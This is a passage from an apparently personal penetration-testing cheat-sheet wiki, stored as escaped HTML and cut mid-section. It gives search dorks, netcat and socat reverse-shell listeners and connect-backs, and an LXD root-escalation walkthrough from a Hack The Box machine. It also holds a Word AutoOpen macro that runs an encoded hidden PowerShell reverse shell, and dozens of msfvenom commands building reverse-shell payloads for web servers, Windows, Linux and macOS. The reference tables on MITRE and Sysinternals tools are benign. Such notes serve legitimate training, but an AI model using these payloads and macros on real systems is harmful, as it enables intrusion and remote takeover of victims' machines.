Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
